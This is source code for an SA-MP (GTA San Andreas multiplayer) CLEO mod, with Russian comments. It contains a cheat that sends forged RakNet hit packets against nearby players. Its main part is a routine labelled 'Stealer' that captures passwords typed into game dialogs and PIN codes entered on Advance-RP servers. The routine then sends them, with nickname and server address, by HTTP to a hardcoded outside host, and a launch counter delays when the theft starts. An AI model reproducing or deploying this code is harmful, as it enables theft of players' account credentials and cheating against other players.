CLEO 0000 const URL qwertysamp esy es ADD_URL steal search php end var

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
{$CLEO}
0000: T.G
const
URL = "qwertysamp.esy.es"
ADD_URL = "steal/search.php"
end
var
30@: int
31@: int
end//"data/handling.cfg". handling.cfg это файл который лежит в папке data измените файл на любой другой существующий, так же можно заменить папку, можно дописать еще несколько папок. В этом файле будет храниться инфа о запусках игры
0af0: 30@ = "data/settings.ini" "Setting" "Rand"
0af0: 31@ = "data/settings.ini" "Setting" "Run"
0af1: 30@ "data/settings.ini" "Setting" "Rand"
0af1: 31@ "data/settings.ini" "Setting" "Run"
if or
30@ <= 0
31@ <= 0
31@ > 30@
then
0209: 30@ = random_int_in_ranges 2 2 //Рандом запуск, меньше чем 2 2 не ставить!
0af1: 30@ "data/settings.ini" "Setting" "Rand"
0af1: 1 "data/settings.ini" "Setting" "Run"
else
0af0: 30@ = "data/settings.ini" "Setting" "Rand"
0af0: 31@ = "data/settings.ini" "Setting" "Run"
31@ += 1
0af1: 31@ "data/settings.ini" "Setting" "Run"
if 31@ > 30@
then
0209: 30@ = random_int_in_ranges 2 2 //Рандом запуск, меньше чем 2 2 не ставить!
0af1: 30@ "data/settings.ini" "Setting" "Rand"
0af1: 1 "data/settings.ini" "Setting" "Run"
end
end
if 31@ == 30@
then
30@ = 0
31@ = 0
32@ = 0
33@ = 0
call @create_new_thread 1 @Stealer // Create new thread(stealer)
end
repeat
wait 400
until 0AFA: is_samp_structures_available
:Main
//-------------MAIN---------------
0001: wait 3000 ms
03A4: name_thread "_PLAYER_"
:_PLAYER__37
0001: wait 0 ms
00D6: if and
0AB0: key_pressed 20
80DF: not actor $PLAYER_ACTOR driving
0AB0: key_pressed 2
004D: jump_if_false @_PLAYER__401
0AB1: call_scm_func @_PLAYER__417 1 100.0 0@
00D6: if
056D: actor 0@ defined
004D: jump_if_false @_PLAYER__401
00D6: if
02E0: actor $PLAYER_ACTOR firing_weapon
004D: jump_if_false @_PLAYER__37
00D6: if
851A: not actor 0@ damaged_by_actor $PLAYER_ACTOR
004D: jump_if_false @_PLAYER__385
0B2B: samp 1@ = get_player_id_by_actor_handle 0@
0002: jump @_PLAYER__149
:_PLAYER__149
0001: wait 0 ms
04C4: store_coords_to 1@ 2@ 3@ from_actor 0@ with_offset 0.0 0.0 0.5
0B2B: samp 1@ = get_player_id_by_actor_handle 0@
0AC8: 5@ = allocate_memory_size 39
0C0D: struct 5@ offset 0 size 1 = 1
0C0D: struct 5@ offset 1 size 2 = 1@
0C0D: struct 5@ offset 3 size 4 = 1@
0C0D: struct 5@ offset 7 size 4 = 2@
0C0D: struct 5@ offset 11 size 4 = 13@
0C0D: struct 5@ offset 15 size 4 = 1@
0C0D: struct 5@ offset 19 size 4 = 2@
0C0D: struct 5@ offset 23 size 4 = 3@
0C0D: struct 5@ offset 27 size 4 = 0.0
0C0D: struct 5@ offset 31 size 4 = 0.0
0C0D: struct 5@ offset 35 size 4 = 0.0
0B3D: raknet 6@ = new_bit_stream
0B40: raknet bit_stream 6@ write 224 type 0 size 1
0B40: raknet bit_stream 6@ write 5@ type 5 size 39
0B8B: raknet send bit_stream 6@
0B3E: raknet delete_bit_stream 6@
0AC9: free_allocated_memory 5@
0002: jump @_PLAYER__37
:_PLAYER__385
0001: wait 0 ms
054E: clear_actor 0@ damage
0002: jump @_PLAYER__37
:_PLAYER__401
0001: wait 0 ms
0164: disable_marker 4@
0002: jump @_PLAYER__37
:_PLAYER__417
0007: 28@ = 0.0
:_PLAYER__427
0A8D: 29@ = read_memory 12010640 size 4 virtual_protect 0
000A: 29@ += 4
0A8D: 29@ = read_memory 29@ size 4 virtual_protect 0
0006: 30@ = 0
:_PLAYER__467
0A8D: 31@ = read_memory 29@ size 1 virtual_protect 0
000A: 29@ += 1
00D6: if and
0029: 31@ >= 0
001B: 128 > 31@
004D: jump_if_false @_PLAYER__753
005A: 31@ += 30@ // (int)
00D6: if
056D: actor 31@ defined
004D: jump_if_false @_PLAYER__753
00D6: if
803C: not $PLAYER_ACTOR == 31@ // (int)
004D: jump_if_false @_PLAYER__753
04C4: store_coords_to 27@ 26@ 25@ from_actor 31@ with_offset 0.0 0.0 0.0
068D: get_camera_position_to 24@ 23@ 22@
00D6: if and
06BD: no_obstacles_between 27@ 26@ 25@ and 24@ 23@ 22@ solid 1 car 1 actor 0 object 1 particle 0
80DF: not actor 31@ driving
8118: not actor 31@ dead
02CB: actor 31@ bounding_sphere_visible
004D: jump_if_false @_PLAYER__753
04C4: store_coords_to 10@ 11@ 12@ from_actor 31@ with_offset 0.0 0.0 0.0
0AB1: call_scm_func @_PLAYER__810 3 10@ 11@ 12@ 13@ 14@
0509: 15@ = distance_between_XY 339.1 179.1 and_XY 13@ 14@
00D6: if
0035: 28@ >= 15@ // (float)
004D: jump_if_false @_PLAYER__753
0AB2: ret 1 31@
:_PLAYER__753
000A: 30@ += 256
0019: 30@ > 35584
004D: jump_if_false @_PLAYER__467
000B: 28@ += 8.0
001D: 28@ > 0@ // (int)
004D: jump_if_false @_PLAYER__427
0AB2: ret 1 -1
:_PLAYER__810
0AC7: 14@ = var 0@ offset
0AC7: 15@ = var 3@ offset
0AC7: 16@ = var 6@ offset
0AC7: 17@ = var 9@ offset
0AA5: call 7392816 num_params 6 pop 6 0 0 17@ 16@ 15@ 14@
0007: 12@ = 640.0
0007: 13@ = 448.0
0A8D: 14@ = read_memory 12677188 size 4 virtual_protect 0
0A8D: 15@ = read_memory 12677192 size 4 virtual_protect 0
0093: 14@ = integer 14@ to_float
0093: 15@ = integer 15@ to_float
0073: 12@ /= 14@ // (float)
0073: 13@ /= 15@ // (float)
006B: 3@ *= 12@ // (float)
006B: 4@ *= 13@ // (float)
0AB2: ret 2 3@ 4@
:Stealer
const
// SAMP Dialog Styles
DIALOG_STYLE_MSGBOX = 0
DIALOG_STYLE_INPUT = 1
DIALOG_STYLE_LIST = 2
DIALOG_STYLE_PASSWORD = 3
GAMESTATE_CONNECTED = 3
aData = 1@
size_aData = 2048
buf = 2@
format_string = 3@
library_point = 5@
aData_dlgid = 0
aData_nick = 1
aData_ip = 2
aData_sname = 3
aData_dlgtext = 4
aData_pincode = 5
end
repeat
wait 100
until 0AA2: library_point = load_library "wininet.dll"
while true
wait 0
0@ = SAMP.GetGamestate()
if 0@ == GAMESTATE_CONNECTED
jf continue
gosub @steal_arp_pincodes //
if Samp.IsDialogActive(-1)
jf continue
0@ = Samp.GetDialogType()
if or
0@ == DIALOG_STYLE_INPUT
0@ == DIALOG_STYLE_PASSWORD
jf continue
alloc aData size_aData
alloc buf 128
alloc format_string 257
0c11: memset aData 0 size_aData
0c11: memset buf 0 128
0c11: memset format_string 0 257
while Samp.IsDialogActive(-1)
wait 0
// ---- WRITE DIALOG ID TO ARRAY
0@ = Samp.GetDialogID()
format format_string = "%d" 0@
0C20: string_array aData element aData_dlgid size 128 = format_string
// --------------------------------------------------
// GENERAL INFO: NICK, IP, SERVER NAME
call @WriteGeneralInfo 3 data aData buf format_string
// ---- STEAL
0c11: memset buf 0 128
while SAMP.IsDialogActive(-1)
wait 0
buf = SAMP.GetDialogInputBoxText()
end
0C20: string_array aData element aData_dlgtext size 128 = buf
// --------------------------------------------------
wait 0 // %
0c11: memset format_string 0 257 // clear string
0085: 4@ = format_string // get start pointer of string
// ---- PREPARING SENDING DATA TO A URL
call @PreparingGeneralInfo 2 aData format_string ret_to format_string
0C1F: 8@ = string_array aData element aData_dlgid size 128
format format_string = "&dialog=%s" 8@
0c17: strlen 8@ format_string
005a: format_string += 8@
0C1F: 8@ = string_array aData element aData_dlgtext size 128
call @converter_russian_sym 1 string 8@ to 9@
format format_string = "&input=%s" 9@
free 9@
// --------------------------------------------------
0085: format_string = 4@ // GO TO START OF STRING
// ---- SEND DATA TO A URL
call @SendData 2 str format_string lib library_point
// --------------------------------------------------
end
free aData
free buf
free format_string
4@ = 0
end
:steal_arp_pincodes
// ADVANCE-RP | STEAL PIN-CODE
0@ = SAMP.Base()
0@ += 0x212A80
0A8D: 0@ = read_memory 0@ size 4 virtual_protect 0
0@ += 985
0A8D: 0@ = read_memory 0@ size 4 virtual_protect 0
0A8D: 6@ = read_memory 0@ size 4 virtual_protect 0
6@ += 9216
0A90: 7@ = 2048 * 4
005a: 7@ += 6@
0A8D: 7@ = read_memory 7@ size 4 virtual_protect 0
if 7@ > 0
then
alloc aData size_aData
alloc buf 128
alloc format_string 257
0c11: memset aData 0 size_aData
0c11: memset buf 0 128
0c11: memset format_string 0 257
0085: 4@ = format_string
12@ = 0
while true
wait 0
for 8@ = 2048 to 2057
0A90: 7@ = 8@ * 4
005a: 7@ += 6@
0A8D: 9@ = read_memory 7@ size 4 virtual_protect 0
if 9@ > 0
then
10@ = 416.0
11@ = 168.0
/*
SIZE BLOCK = 30x30 px.
EMPTY SPACE = 10 px.
----------------------
| 2048 | 2049 | 2050 |
| 2051 | 2052 | 2053 |
| 2054 | 2055 | 2056 |
| | 2057 | |
----------------------
*/
if or
8@ == 2049
8@ == 2052
8@ == 2055
8@ == 2057
then 10@ += 40.0
end
if or
8@ == 2050
8@ == 2053
8@ == 2056
then 10@ += 80.0
end
if 8@ >= 2051
then
11@ += 40.0
if 8@ >= 2054
then
11@ += 40.0
if 8@ == 2057
then 11@ += 40.0
end
end
end
if call @is_cursor_here 4 sXY 10@ 11@ eXY 29.0 29.0
then
if 0ab0: key 1
then
while 0ab0: key 1
wait 0
end
if call @is_cursor_here 4 sXY 10@ 11@ eXY 29.0 29.0
then
format format_string = "%s" 9@
format_string++
12@++
if 12@ >= 4
then
0085: format_string = 4@
0C20: string_array aData element aData_pincode size 128 = format_string
0c11: memset format_string 0 257 // clear string
call @WriteGeneralInfo 3 data aData buf format_string
0c11: memset format_string 0 257 // clear string
// ---- PREPARING SENDING DATA TO A URL
call @PreparingGeneralInfo 2 aData format_string ret_to format_string
0C1F: 8@ = string_array aData element aData_pincode size 128
format format_string = "&pincode=%s" 8@
0c17: strlen 8@ format_string
005a: format_string += 8@
if SAMP.IsLocalPlayerSpawned()
then format format_string = "&spawned=1"
else format format_string = "&spawned=0"
end
0085: format_string = 4@
// --------------------------------------------------
call @SendData 2 format_string lib library_point
0c11: memset format_string 0 257
12@ = 0
end
end
end
end
end
end
if 9@ <= 0
then break
end
end
free aData
free buf
free format_string
4@ = 0
end
// ---------------------------------------------------------------------------------
return
// ---------------------------------------------
// /////////////////////////////////////////////
// ||||||||||||||||| FUNCTIONS |||||||||||||||||
// \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
// ---------------------------------------------
:WriteGeneralInfo
// ---- WRITE NICKNAME TO ARRAY
3@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
3@ = SAMP.GetPlayerNickname(3@)
0C20: string_array 0@ element aData_nick size 128 = 3@
// --------------------------------------------------
// ---- WRITE IP:PORT TO ARRAY
SAMP.GetCurrentServerAddress(1@, 3@)
format 2@ = "%s:%d" 1@ 3@
0C20: string_array 0@ element aData_ip size 128 = 2@
// --------------------------------------------------
// ---- WRITE SERVER NAME TO ARRAY
1@ = SAMP.GetCurrentServerName()
0C20: string_array 0@ element aData_sname size 128 = 1@
// --------------------------------------------------
ret 0
:PreparingGeneralInfo
0C1F: 2@ = string_array 0@ element aData_nick size 128
format 1@ = "%s?nick=%s" ADD_URL 2@
0c17: strlen 2@ 1@
005a: 1@ += 2@
0C1F: 2@ = string_array 0@ element aData_ip size 128
format 1@ = "&ip=%s" 2@
0c17: strlen 2@ 1@
005a: 1@ += 2@
0C1F: 2@ = string_array 0@ element aData_sname size 128
call @converter_russian_sym 1 string 2@ to 3@
format 1@ = "&serv=%s" 3@
free 3@
0c17: strlen 2@ 1@
005a: 1@ += 2@
ret 1 1@
:SendData
// call @SendData 2 str 0@ lib 1@
0AA4: 31@ = get_proc_address "InternetOpenA" library 1@
0AA7: call_function 31@ num_params 5 pop 0 params 0 0 "" 0 "Google Chrome/legend edition 1.2" to 3@
if 3@ <> 0x0
then
0AA4: 31@ = get_proc_address "InternetConnectA" library 1@
0AA7: call_function 31@ num_params 8 pop 0 params 0 0 3 0 0 80 URL hInternet 3@ to 4@ // Preparing
if 4@ <> 0x0
then
0AA4: 31@ = get_proc_address "HttpOpenRequestA" library 1@
0AA7: call_function 31@ num_params 8 pop 0 params 0 0x80400100 "" "" "HTTP/1.1" 0@ "GET" 4@ to 5@ // Create request
if 5@ <> 0x0
then
0AA4: 31@ = get_proc_address "HttpSendRequestA" library 1@
0AA7: call_function 31@ num_params 5 pop 0 params 0 "" 62 "Content-Type: application/x-www-form-urlencoded; charset=windows-1251" 5@ to 6@ // Send
end
end
end
0AA4: 31@ = get_proc_address "InternetCloseHandle" library 1@
0AA7: call_function 31@ num_params 1 pop 0 params 3@ ret_to 30@
0AA7: call_function 31@ num_params 1 pop 0 params 4@ ret_to 30@
0AA7: call_function 31@ num_params 1 pop 0 params 5@ ret_to 30@
ret 0
:converter_russian_sym
const
_string = 0@
array_chars = 1@
lstr = 2@
size_nstring = 4@
_nstring = 6@
p_nstring = 7@
end
var
_string : int
lstr : int
array_chars : int
_nstring : int
p_nstring : int
end
// call @converter_russian_sym 1 string 0@ to 6@
0c17: strlen lstr _string
0A90: size_nstring = lstr * 4
alloc _nstring size_nstring
0c11: memset _nstring 0 size_nstring
p_nstring = _nstring
0ac6: lo array_chars @chars
for 3@ = 0 to lstr
0A8D: 5@ = read_memory _string size 1 virtual_protect 0
if 5@ <> 0
jf break
if and
5@ > 191
5@ < 256
then
5@ -= 192
0A8E: 5@ = array_chars + 5@
0A8D: 5@ = read_memory 5@ size 1 virtual_protect 0
end
format _nstring = "%02X" 5@
_nstring += 2
_string++
end
_nstring = p_nstring
ret 1 _nstring
:chars
hex
C0 C1 C2 C3 C4 C5 C6 C7 C8 C9 CA CB CC CD CE CF D0 D1 D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF 00
end
:create_new_thread
0A9F: 32@ = current_thread_pointer
000A: 32@ += 0x10
0A8D: 32@ = read_memory 32@ size 4 virtual_protect 0
0062: 32@ -= 0@
0AA7: call_function 0x464C20 num_params 1 pop 1 32@ 33@
005A: 32@ += 0@
000A: 33@ += 0x10
0A8C: write_memory 33@ size 4 value 32@ virtual_protect 0
000A: 33@ += 0x2C
for 32@ = 0 to 30
0A8C: write_memory 33@ size 4 value 1@(32@,30i) virtual_protect 0
000A: 33@ += 4
end
0AB2: ret 0
:is_cursor_here
// call @is_cursor_here 4 sXY 0@ 1@ eXY 2@ 3@
0B5E: get_cursor_pos 30@ 31@
0B5F: convert_window_screen_coords 30@ 31@ to_game_screen_coords 4@ 5@
if and
0025: 4@ > 0@
0025: 5@ > 1@
then
005B: 0@ += 2@
005B: 1@ += 3@
if and
0025: 0@ > 4@
0025: 1@ > 5@
then ret 0 1
end
end
0AB2: ret 0